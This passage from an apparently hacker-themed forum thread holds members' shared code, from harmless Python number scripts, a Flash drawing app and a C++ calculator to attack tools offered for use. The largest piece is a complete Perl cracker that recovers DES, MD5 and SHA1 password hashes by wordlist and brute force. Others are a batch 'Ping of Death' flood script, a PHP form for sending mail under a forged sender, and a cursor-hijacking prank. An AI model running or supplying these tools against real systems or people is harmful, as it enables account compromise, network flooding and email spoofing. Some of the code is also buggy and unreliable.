throw Exception("108",WSAGetLastError());
}
else if(ret == 0) return 0;
}
else
{
struct timeval tv;
tv.tv_sec = m_sTimeOut / 1000 ;
tv.tv_usec = ( m_sTimeOut % 1000) * 1000 ;
setsockopt (m_sSock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv, sizeof tv);
if(::recv(m_sSock, buf, len, 0)==SOCKET_ERROR)
{
throw Exception("109",WSAGetLastError());
}
} *(buf+ret) = 0x00;
return 1;
}
void Socket::recv(std::string& buf, int block)
{
char* recvBuf = new char[1024];
for(int ret = 1; ret >= 1;)
{
::ZeroMemory(recvBuf, 1024);
ret = ::recv(m_sSock, recvBuf, 1024, 0);
if(ret == SOCKET_ERROR)
{
throw Exception("113", WSAGetLastError());
}
buf += recvBuf;
}
delete [] recvBuf;
}
void Socket::send(const std::string buffer)
{
if(::send(m_sSock,buffer.c_str(),buffer.size(),0)==SOCKET_ERROR)
{
throw Exception("107",WSAGetLastError());
}
}
};```
```markup/////////////
// SERVER.H
// Defines our Socket and Exception classes
////////////////
namespace Pills
{
class Exception
{
public:
Exception() : m_pMessage(""), m_lastError(0) {}
Exception
(const std::string& pMessage) :
m_pMessage(pMessage), m_lastError(0){}
Exception
(const std::string& pMessage,int pLast) :
m_pMessage(pMessage), m_lastError(pLast) {}
virtual ~Exception() {}
std::string what()
{
if( m_lastError == 0 )
return m_pMessage;
std::stringstream ss;
ss << m_pMessage << ":" << m_lastError;
return ss.str();
}
private:
std::string m_pMessage;
int m_lastError;
};
class Socket
{
public:
Socket();
virtual ~Socket() {
::closesocket(m_sSock);
m_sSock = 0;
}
void connect(std::string& host, int port);
void recv(std::string& buf, int blocking = 0);
int recv(char* buf, int blocksize, int blocking = 0);
void send(const std::string);
void Close();
void SetTimeout(int ms) { m_sTimeOut = ms;}
private:
//Misc Data
std::string m_sHostName;
int m_sPort;
int m_sTimeOut;
static int sCount;
WSADATA wsaData;
//Socket info
SOCKADDR_IN m_sInfo;
SOCKET m_sSock;
LPHOSTENT m_sHost;
};
class Header
{
public:
Header();
};
};```
The forums really mess with the tabbing/spacing, and escapes wierd characters at bad times, and other crazy things. I'll upload it to a webhost so you can get the project files very soon. This was inspired by an HTS challenge and this tutorial: [Mad_wizard C++ winsock tutorial](http://www.madwizard.org/view.php?page=tutorials.networking.chapter6〈=cpp)
to express numbers as products of they'r eprime factors unbelieveibly helpfull dont include the 1* bit its a glitch.
#!/python
a=raw_input("Enter interger to find the prime factors of: ")
if(int(a)==1):
print "\aOne is not a prime number, although commonly believed to be one."
if(int(a)==2):
print "\aTwo is a prime number, the first infact!"
raw_input()
e=a
c=2
d=1
while(int(a)!=int(c)):
if(int(a)%int(c)==0):
d=str(d)+"*"+str(c)
a=(int(a)/int(c))
print d
c=2
continue
else:
c=int(c)+1
continue
print str(d)+"*"+str(a)+"="+str(e)
print "Done!\a"
raw_input()
##Wolfmankurd's product of prime factors expresser.
##1 added at the begining of asnswers to because of glitch * at the begingin of answer.
fix tabs…
triangle number generator
#!/python24
a=0
b=1
c=open("Triangle.txt", "a")
c.write("The triangle numbers:\n")
while 1:
print a
c.write("-"+str(a)+"\n")
a=a+b
b=b+1
##Wolfmankurds triangle number generator.
##does not limit CPU usage
fix tabs, outputs a txt with triangle numbers
caluctales powers of stuff,
#!/python24
a=raw_input("Find all powers of: ")
b=raw_input("Up untill: ")
c=1
d=open("Powersof"+a+".txt", "a")
d.write("Powers of "+a+" up to "+b+"\n")
while(int(c)!=int(b)):
e=int(c)**int(a)
print e
d.write(str(e)+"\n")
c=c+1
print "Done!\a"
raw_input()
# Wolfmankurd powers.
fix tabs…
Generates fibonacci numbers,,, did you know bee's and rabbits generate in this sequence?
#!/python24
b=0
a=1
c=a
d=open("Fibonacci.txt", "a")
d.write("The Fibonacci numbers:\n")
while 1:
print c
d.write("-"+str(c)+"\n")
c=a+b
b=a
a=c
## Wolfmankurds Fibonacciator!
fix tabs ;) out puts to file
her is a crazy password cracker that i made tonight. it will do several types of attacks. it will crack DES, MD5, and SHA1.
feel free to post comments/suggestions etc..
#!/usr/bin/perl -w
# Written by n3w7yp3
# Declarations.
# the modules that we'll be using:
# use strict;
use Digest::MD5;
use Digest::SHA1;
# some command line arguments:
my $dict = shift || &usage;
my $hash = shift || &usage;
# main
print "Starting Cracker by n3w7yp3...\n";
# if the dictionary does not exist, exit.
if(!(-e "$dict"))
{
die "$dict does not exist.\n";
}
open(DICT, "$dict") || die "Unable to open $dict.\n";
# if one of your precomputated hash tables does not exist display a warning mesage
if(!(-e "cracker.des"))
{
warn "The cracker.des precomputed hash table does not exist. Precomputated hash tables will not be used and the cracked hash will not be written in. I highly suggest that you \^C the program and make these files.\n";
}
if(!(-e "cracker.md5"))
{
warn "The cracker.md5 precomputed hash table does not exist. Precomputated hash tables will not be used and the cracked hash will not be written in. I highly suggest that you \^C the program and make these files.\n";
}
if(!(-e "cracker.sha1"))
{
warn "The cracker.sha1 precomputed hash table does not exist. Precomputed hash tables will not be used and the cracked hash will not be written in. I highly suggest that you \^C the program and make these files.\n";
}
print "Cracking the hash $hash...\n";
my $count = 0;
# Okay now lets identify the algorith used:
if($hash =~ /^.{32}$/)
{
&md5;
}
elsif($hash =~ /^.{40}$/)
{
&sha1;
}
elsif($hash =~ /^.{13}$/)
{
&des;
}
else
{
die "Valid hash types are DES\, MD5\, or SHA1.\n";
}
# jump to some subs...
sub usage
{
die "Usage: $0 <wordlist> <hash>\nWordlist is the wordlist to get words from.\nHash is the hash to crack. Valid hash types are: DES, MD5, and SHA1.\n";
}
sub md5
{
print "Algorithm used is: MD5.\n";
print "Checking precomputated hash tables...\n";
if(!(-e "cracker.md5"))
{
warn "The MD5 precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.\n";
}
if(-e "cracker.md5")
{
open(HTMD5, "cracker.md5") || die "Unable to open the MD5 precomputed hash table (cracker.md5)\n";
while(defined(my $md5ht = <HTMD5>))
{
chomp $md5ht;
@passwd = (split /:/, $md5ht);
$count++;
if($passwd[0] eq $hash)
{
print "Password cracked!!!\n";
print "The password is: $passwd[1]\n";
print "The password was cracked in $count tries.\n";
close DICT;
close HTMD5;
exit;
}
}
close HTMD5;
print "The password was not found in the precomputed hash table. Once cracked, it will be added.\n";
}
$count = 0;
print "Starting dictionary attack using the words in $dict.\n";
while(defined(my $password = <DICT>))
{
chomp $password;
my $new_md5 = Digest::MD5 -> new;
$new_md5 -> add ("$password");
my $new_md5_hash = $new_md5 -> hexdigest;
$count++;
if($new_md5_hash eq $hash)
{
print "Password cracked!!!\n";
print "The passwword is: $password\n";
print "Password was cracked in $count tries.\n";
print "Adding $hash\:$password to the MD5 precomputed hash table...\n";
open(MD5HT, ">>cracker.md5");
print MD5HT "$hash\:$password\n";
close MD5HT;
close DICT;
print "Entry added. Exiting...\n";
exit;
}
}
$count = 0;
close DICT;
print "The password was not found in the dictionary attack. Moving onto charset \(a \- zzzzzz\) bruteforce...\n";
my $password = "a";
for($password = "a"; $password lt "zzzzzz"; $password++)
{
my $new_md5 = Digest::MD5 -> new;
$new_md5 -> add ("$password");
my $new_md5_hash = $new_md5 -> hexdigest;
$count++;
if($new_md5_hash eq $hash)
{
print "Password Cracked!!!\n";
print "The passwword is: $password\n";
print "Password was cracked in $count tries.\n";
print "Adding $hash\:$password to the MD5 precomputed hash table...\n";
open(MD5HT, ">>cracker.md5");
print MD5HT "$hash\:$password\n";
close MD5HT;
print "Entry added. Exiting...\n";
exit;
}
$password++;
}
$count = 0;
print "Password was not found in charset brute force. Starting numrange brute force \(0 \- 9999999\)...\n";
$password = "0";
while($password <= 9999999)
{
my $new_md5 = Digest::MD5 -> new;
$new_md5 -> add ("$password");
my $new_md5_hash = $new_md5 -> hexdigest;
$count++;
if($new_md5_hash eq $hash)
{
print "Password Cracked!!!\n";
print "The passwword is: $password\n";
print "Password was cracked in $count tries.\n";
print "Adding $hash\:$password to the MD5 precomputed hash table...\n";
open(MD5HT, ">>cracker.md5");
print MD5HT "$hash\:$password\n";
close MD5HT;
print "Entry added. Exiting...\n";
exit;
}
$password++;
}
die "The password was not found in all the attacks.\n";
}
sub sha1
{
print "Algorithm is: SHA1.\n";
print "Checking precomputated hash tables...\n";
if(!(-e "cracker.sha1"))
{
warn "The SHA1 precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.\n";
}
if(-e "cracker.sha1")
{
open(HTSHA1, "cracker.sha1") || die "Unable to open the SHA1 precomputed hash table (cracker.sha1)\n";
while(defined(my $sha1ht = <HTSHA1>))
{
chomp $sha1ht;
@passwd = (split /:/, $sha1ht);
$count++;
if($passwd[0] eq $hash)
{
print "Password cracked!!!\n";
print "The password is: $passwd[1]\n";
print "The password was cracked in $count tries.\n";
close DICT;
close HTSHA1;
exit;
}
}
close HTSHA1;
print "The password was not found in the precomputed hash table. Once cracked, it will be added.\n";
}
$count = 0;
print "Starting dictionary attack using the words in $dict.\n";
while(defined(my $password = <DICT>))
{
chomp $password;
my $new_sha1 = Digest::SHA1 -> new;
$new_sha1 -> add ("$password");
my $new_sha1_hash = $new_sha1 -> hexdigest;
$count++;
if($new_sha1_hash eq $hash)
{
print "Password cracked!!!\n";
print "Password is: $password\n";
print "Password was cracked in $count tries,\n";
close DICT;
print "Adding $hash\:$password to the MD5 precomputed hash table...\n";
open(HTSHA1, ">>cracker.sha1");
print HTSHA1 "$hash\:$password\n";
close HTSHA1;
print "Entry added. Exiting...\n";
exit;
}
}
$count = 0;
close DICT;
print "The password was not found in the dictionary attack. Moving onto charset \(a \- zzzzzz\) bruteforce...\n";
my $password = "a";
for($password = "a"; $password lt "zzzzzz"; $password++)
{
my $new_sha1 = Digest::SHA1 -> new;
$new_sha1 -> add ("$password");
my $new_sha1_hash = $new_sha1 -> hexdigest;
$count++;
if($new_sha1_hash eq $hash)
{
print "Password Cracked!!!\n";
print "The password is: $password\n";
print "Password was cracked in $count tries.\n";
print "Adding $hash\:$password to the SHA1 precomputed hash table...\n";
open(HTSHA1, ">>cracker.sha1");
print HTSHA1 "$hash\:$password\n";
close HTSHA1;
print "Entry added. Exiting...\n";
exit;
}
$password++;
}
$count = 0;
print "Password was not found in charset brute force. Starting numrange brute force \(0 \- 9999999\)...\n";
$password = "0";
while($password <= 9999999)
{
my $new_sha1 = Digest::SHA1 -> new;
$new_sha1 -> add ("$password");
my $new_sha1_hash = $new_sha1 -> hexdigest;
$count++;
if($new_sha1_hash eq $hash)
{
print "Password Cracked!!!\n";
print "The password is: $password\n";
print "Password was cracked in $count tries.\n";
print "Adding $hash\:$password to the SHA1 precomputed hash table...\n";
open(HTSHA1, ">>cracker.sha1");
print HTSHA1 "$hash\:$password\n";
close HTSHA1;
print "Entry added. Exiting...\n";
exit;
}
$password++;
}
die "The password was not found in all the attacks.\n";
}
sub des
{
my $salt = substr($hash,0,2);
print "Algorithm is: DES.\n";
print "Salt is: $salt\n";
print "Checking precomputated hash tables...\n";
if(!(-e "cracker.des"))
{
warn "The DES precomputed hash table does not exist. Precomputed hash tables will not be used in this cracking session.\n";
}
if(-e "cracker.des")
{
open(HTDES, "cracker.des") || die "Unable to open DES precomputed hash table (cracker.des).\n";
while(defined(my $desht = <HTDES>))
{
chomp $desht;
@passwd = (split /:/, $desht);
$count++;
if($passwd[0] eq $hash)
{
print "Password cracked!!!\n";
print "The password is: $passwd[1]\n";
print "The password was cracked in $count tries.\n";
close DICT;
close HTDES;
exit;
}
}
}
print "The password was not found in the precomputed hash table. once found, it will be added.\n";
$count = 0;
print "Starting dictionary attack using the words in $dict.\n";
while(defined(my $password = <DICT>))
{
chomp $password;
$count++;
if(crypt($password, $salt) eq $hash)
{
print "Password cracked!!!\n";
print "Password is: $password\n";
print "Password was cracked in $count tries.\n";
close DICT;
print "Adding $hash\:$password to the DES precomputed hash table...\n";
open(HTDES, ">>cracker.des");
print HTDES "$hash\:$password\n";
close HTDES;
print "Entry added. Exiting...\n";
exit;
}
}
$count = 0;
close DICT;
print "The password was not found in the dictionary attack. Moving onto charset \(a \- zzzzzz\) bruteforce...\n";
my $password = "a";
for($password = "a"; $password lt "zzzzzz"; $password++)
{
$count++;
if(crypt($password, $salt) eq $hash)
{
print "Password Cracked!!!\n";
print "The password is: $password\n";
print "Password was cracked in $count tries.\n";
close DICT;
print "Adding $hash\:$password to the DES precomputed hash table...\n";
open(HTDES, ">>cracker.des");
print HTDES "$hash\:$password\n";
close HTDES;
print "Entry added. Exiting...\n";
exit;
}
$password++;
}
$count = 0;
print "Password was not found in charset brute force. Starting numrange brute force \(0 \- 9999999\)...\n";
$password = "0";
while($password <= 9999999)
{
$count++;
if(crypt($password, $salt) eq $hash)
{
print "Password Cracked!!!\n";
print "The password is: $password\n";
print "Password was cracked in $count tries.\n";
close DICT;
print "Adding $hash\:$password to the DES precomputed hash table...\n";
open(HTDES, ">>cracker.des");
print HTDES "$hash\:$password\n";
close HTDES;
print "Entry added. Exiting...\n";
exit;
}
$password++;
}
die "The password was not found in all the attacks.\n";
}
- [edit: by the way, newtype, nice job on that perl prog. looks like some good work :)][/edit]
- Begin Code:
[edit: by the way, newtype, nice job on that perl prog. looks like some good work :)][/edit]
In short, this C++ program is like Crystal Methamphetamine for your mouse. Have fun! Oh by the way, to break out of it, press Control + Shift + H.
#Nobodies responsible for what you do with my crap you can do what you want at your own will but it is always you that will be responsible, not nobody else not no how#
Begin Code:
#include <windows.h>
#include <iostream>
#include <string>
using std::endl;
using std::cout;
using namespace std;
int main()
{
int exs = GetSystemMetrics(SM_CXSCREEN);
int why = GetSystemMetrics(SM_CYSCREEN);
while (666)
{
SetCursorPos(rand()%exs, rand()%why);
if(GetAsyncKeyState(VK_CONTROL)&&GetAsyncKeyState(VK_SHIFT)&&
GetAsyncKeyState('H')) return 0;
}
}
Well here is one Ping of death program i made in BATCH, Its very simple.
@echo off
TITLE The Pinger
color f1
color 04
:start
echo Dealer X9s Ping Of Death
echo Hit Enter to continue
SET /P ans=%1
IF "%ans%"=="ok" GOTO :ping
:ping
cls
echo (Ping (PoD))
set /P pingofdeath= Enter IP:
set /P bytes= Enter Bytes to send (Max 65500):
ping %pingofdeath% -t -l %bytes%
echo.
pause
cls
goto start
This does absolutely nothing cause i cant find any source code(That i wrote)
markup<?php print("HAHAHAHAHAHA... Hi"); ?>
–Edit– NO WAIT I found some pretty crappy code i wrote a few months back (Its one i wrote an article on
<body>
<center>
<?
if (isset ($_POST['submit'])) {
if (empty($_POST['from'])) {
print ("Please fill in an email address");
}
if (empty ($_POST['to'])) {
print ("Please enter a to address");
}
if (empty ($_POST['subject'])) {
print ("Please enter a subject");
}
if (empty ($_POST['message'])) {
print ("Please enter a message");
}
else {
$from = $_POST['from'];
$to = $_POST['to'];
$subject = $_POST['subject'];
$message = $_POST['message'];
mail("$to ", "$subject" , "$message", "From: $from");
}
}
?>
<form Method="POST" action="anonemail.php">
From:<br />
<input type="Text" name="from" width="140"><br />
To:<br />
<input type="Text" name="to" width="140"><br />
Subject <br />
<input type="Text" name="subject" width="140"><br />
Comments:<br /><textarea cols="20" rows="5" name="message"></textarea><br />
<input type="submit" value="Submit" name="submit">
</form>
</center>
</body>
</html>```
YAY HTML
Heres a drawing application I made in Flash ActionScript 2.0, purely in code (just because I can):
(_root.createEmptyMovieClip("menu", 1)).defaultSettings();
menu.drawRect([0, 0, 550, 400]);
menu.drawRoundedRect([25, 25, 525, 325], 25);
menu.beginFill(0x666666, 100);
menu.drawRoundedRect([25, 335, 525, 390], 25);
var col:Array = [0x000000, 0x0000CC, 0x0000FF, 0x000099, 0x00CC00, 0x00CCCC, 0x00CCFF, 0x00CC99, 0x00FF00, 0x00FFCC, 0x00FFFF, 0x00FF99, 0x009900, 0x0099CC, 0x0099FF, 0x009999, 0xCC0000, 0xCC00CC, 0xCC00FF, 0xCC0099, 0xCCCC00, 0xCCCCCC, 0xCCCCFF, 0xCCCC99, 0xCCFF00, 0xCCFFCC, 0xCCFFFF, 0xCCFF99, 0xCC9900, 0xCC99CC, 0xCC99FF, 0xCC9999, 0xFF0000, 0xFF00CC, 0xFF00FF, 0xFF0099, 0xFFCC00, 0xFFCCCC, 0xFFCCFF, 0xFFCC99, 0xFFFF00, 0xFFFFCC, 0xFFFFFF, 0xFFFF99, 0xFF9900, 0xFF99CC, 0xFF99FF, 0xFF9999, 0x990000, 0x9900CC, 0x9900FF, 0x990099, 0x99CC00, 0x99CCCC, 0x99CCFF, 0x99CC99, 0x99FF00, 0x99FFCC, 0x99FFFF, 0x99FF99, 0x999900, 0x9999CC, 0x9999FF, 0x999999];
for (a=0; a<col.length/2; a++) {
for (b=0; b<2; b++) {
if (b == 1 && a == 0) {
(_root.createEmptyMovieClip("col"+a+"_"+b, _root.getNextHighestDepth())).beginFill(0xFFFFFF, 100);
} else {
(_root.createEmptyMovieClip("col"+a+"_"+b, _root.getNextHighestDepth())).beginFill(col[a*(b == 0 ? 1 : 2)], 100);
}
_root["col"+a+"_"+b].drawRoundedRect([40+(14*a), 347+(14*b), 50+(14*a), 357+(14*b)], 5);
_root["col"+a+"_"+b].cola = ((b == 1 && a == 0) ? 0xFFFFFF : col[a*(b == 0 ? 1 : 2)]);
_root["col"+a+"_"+b]._x += 14;
_root["col"+a+"_"+b]._y += 4;
_root["col"+a+"_"+b].onPress = function() {
_root.lineStyle(1, this.cola, 100);
};
}
}
endFill();
onMouseDown = function () {
if (_xmouse>30 && _xmouse<520 && _ymouse>30 && _ymouse<320) {
moveTo(_xmouse, _ymouse);
np = setInterval(function () {
lineTo(_xmouse, _ymouse);
}, 10);
}
};
onMouseUp = function () {
clearInterval(np);
};```
You also need an external file called Shape.as, and thanks to my mate dELta for the oval function..
```markupMovieClip.prototype.defaultTextbox = function(inst:String, X:Number, Y:Number):Void {
var temp:TextField = this.createTextField(inst, this.getNextHighestDepth, X, Y, 100, 30);
temp.type = "input";
temp.selectable = false;
};
MovieClip.prototype.drawOval = function(X:Number, Y:Number, xr:Number, yr:Number):Void {
yr == undefined ? yr=xr : 0;
var ctrlRadius:Number = xr/0.92387953251128675611953741891446;
var ctrlRadius2:Number = yr/0.92387953251128675611953741891446;
this.moveTo(X+xr, Y);
var angle:Number = 0;
for (var i:Number = 0; i<8; i++) {
angle += 0.78539816339744830961566084581988;
var angleMid:Number = angle-0.39269908169872415483042290994;
var cx:Number = X+Math.cos(angleMid)*(ctrlRadius);
var cy:Number = Y+Math.sin(angleMid)*(ctrlRadius2);
var px:Number = X+Math.cos(angle)*xr;
var py:Number = Y+Math.sin(angle)*yr;
this.curveTo(cx, cy, px, py);
}
};
MovieClip.prototype.defaultSettings = function():Void {
this.lineStyle(2, 0x000000, 100);
this.beginFill(0x000000, 100);
};
MovieClip.prototype.drawRect = function(xy:Array):Void {
this.moveTo(xy[0], xy[1]);
this.lineTo(xy[2], xy[1]);
this.lineTo(xy[2], xy[3]);
this.lineTo(xy[0], xy[3]);
this.lineTo(xy[0], xy[1]);
};
MovieClip.prototype.drawRoundedRect = function(xy:Array, ang:Number):Void {
this.moveTo(xy[0], xy[1]+ang);
this.curveTo(xy[0], xy[1], xy[0]+ang, xy[1]);
this.lineTo(xy[2]-ang, xy[1]);
this.curveTo(xy[2], xy[1], xy[2], xy[1]+ang);
this.lineTo(xy[2], xy[3]-ang);
this.curveTo(xy[2], xy[3], xy[2]-ang, xy[3]);
this.lineTo(xy[0]+ang, xy[3]);
this.curveTo(xy[0], xy[3], xy[0], xy[3]-ang);
this.lineTo(xy[0], xy[1]+ang);
};
/*
Shape.as
---
A collaberation of functions that make drawing using the
MovieClip API a lot easier, most commands will be prototypes
of the MovieClip class and some will be taken from the
ActionScript 3.0 Shape API (which has taken over from the
MovieClip API).
*/```
I doubt many people have Flash here but I thought I'd post them anyway :P Well heres a simple calculator I made in C++. It's pretty crap but it's the first thing I made so I was pretty proud of it at the time:
```markup#include <iostream>
#include <fstream>
using namespace std;
long fact(long num){
//this function returns the Factorial of the given number
int temp = num;
for(int a=1;a<num;a++){
temp*=a;
}
return temp;
}
main(){
//First thing you do, declare the variables
int a, b, c, type;
ofstream myfile;
const char* types[5] = {"add", "subtract", "divide", "multiply", "get factorial"};
//This is the introduction text
cout<<"Simple calculator by -liam-\n\n";
cout<<"Choose mode: \n";
//These are the options
cout<<"1 to add\n";
cout<<"2 to subtract\n";
cout<<"3 to divide\n";
cout<<"4 to multiply\n";
cout<<"5 to get factorial\n";
cout<<"6 to see info\n\n";
//'choose' is the name of a label, so I can restart the program from this point
choose:
//Tell the person to choose an option
cout<<"Press the relevant key then press enter: ";
cin>>type;
cout<<endl;
//The following is all the adding, subtracting, etc.
if(type<6){
cout<<"You chose to "<<types[type-1]<<". Type a number: ";
cin>>a;
if(type!=5){
cout<<"\nType another number: ";
cin>>b;
}
}
int ans;
if(type==1){
ans = a+b;
cout<<endl<<a<<" + "<<b<<" = "<<ans<<endl;
}
if(type==2){
ans = a-b;
cout<<endl<<a<<" - "<<b<<" = "<<ans<<endl;
}
if(type==3){
ans = a/b;
cout<<endl<<a<<" / "<<b<<" = "<<ans<<endl;
}
if(type==4){
ans = a*b;
cout<<endl<<a<<" * "<<b<<" = "<<a*b<<endl;
}
if(type==5){
ans = fact(a);
cout<<endl<<a<<"! = "<<ans<<endl<<endl;
}
myfile.open("Newfile.txt");
myfile<<a<<" "<<types[type-1]<<" "<<b<<" = "<<ans;
myfile.close();
if(type==6){
cout<<"---------"<<endl;
cout<<"1 adds two numbers; \n2 subtracts two numbers;\n";
cout<<"3 divides two numbers;\n4 multiplys two numbers;\n";
cout<<"5 will find the factorial of a number.\n";
cout<<"---------\n\n";
goto choose;
}
cout<<endl;
goto choose;
}```
<3
Just in case anyone is remotely interested, here is a little applescript (obviously, this is mac only!) that I like to call, "Snoop". It makes a file or folder completely invisible, although the system still behaves as if it's till there (and indeed it is). All it does is ask you to tell it the path to your file to hide and then inserts whatever you told it into a pretty nifty shell script. I also added that little bit about AppleScript's text item delimeters to try and handle files with spaces in their names, but it failed seeing as some people use bash terminal and some don't.
set choose to display dialog "Welcome to Snoop by Pepe. What would you like to do?" buttons {"Hide", "Reveal"} with icon 1
if button returned of choose is "Hide" then
set hidefile to display dialog "What would you like to hide?" default answer "/Users/YOURUSERNAMEHERE/Desktop/FILE TO HIDE" with icon 1
set theScript to text returned of hidefile
set ASTID to AppleScript's text item delimiters
set AppleScript's text item delimiters to {" "}
set theScript to every text item of theScript
set AppleScript's text item delimiters to {"/ "}
set theScript to theScript as text
set AppleScript's text item delimiters to ASTID
tell application "Terminal"
activate
do shell script "/Developer/Tools/SetFile -a V " & theScript
do shell script "/bin/kill -1 `ps auxc | grep Finder | awk '{print $2}'`"
quit
end tell
beep
display dialog "You have hidden " & text returned of hidefile & ". Snoop is writing a file to your desktop, reminding you of which files you have hidden. It is suggested that you keep this log so that you do not lose your data." with icon 2
set Filename to "Snoop hidden files log"
set this_data to (text returned of hidefile) & return as string
set target_file to ((path to desktop folder as Unicode text) & Filename)
set append_data to true
try set the target_file to the target_file as text
set the open_target_file to open for access file target_file with write permission
if append_data is false then set eof of the open_target_file to 0
write this_data to the open_target_file starting at eof
close access the open_target_file
on error
try
close access file target_file
end try
end try
display dialog "File succcesfully hidden!" with icon 1
else
set showfile to display dialog "Which file would you like to reveal?" default answer "/Users/YOURUSERNAMEHERE/Desktop/FILE TO SHOW" with icon 1
tell application "Terminal"
activate
do shell script "/Developer/Tools/SetFile -a v " & text returned of showfile
do shell script "/bin/kill -1 `ps auxc | grep Finder | awk '{print $2}'`"
quit
end tell
display dialog "File succcesfully revealed!" with icon 1
end if
end tell
I'm happy to answer any questions.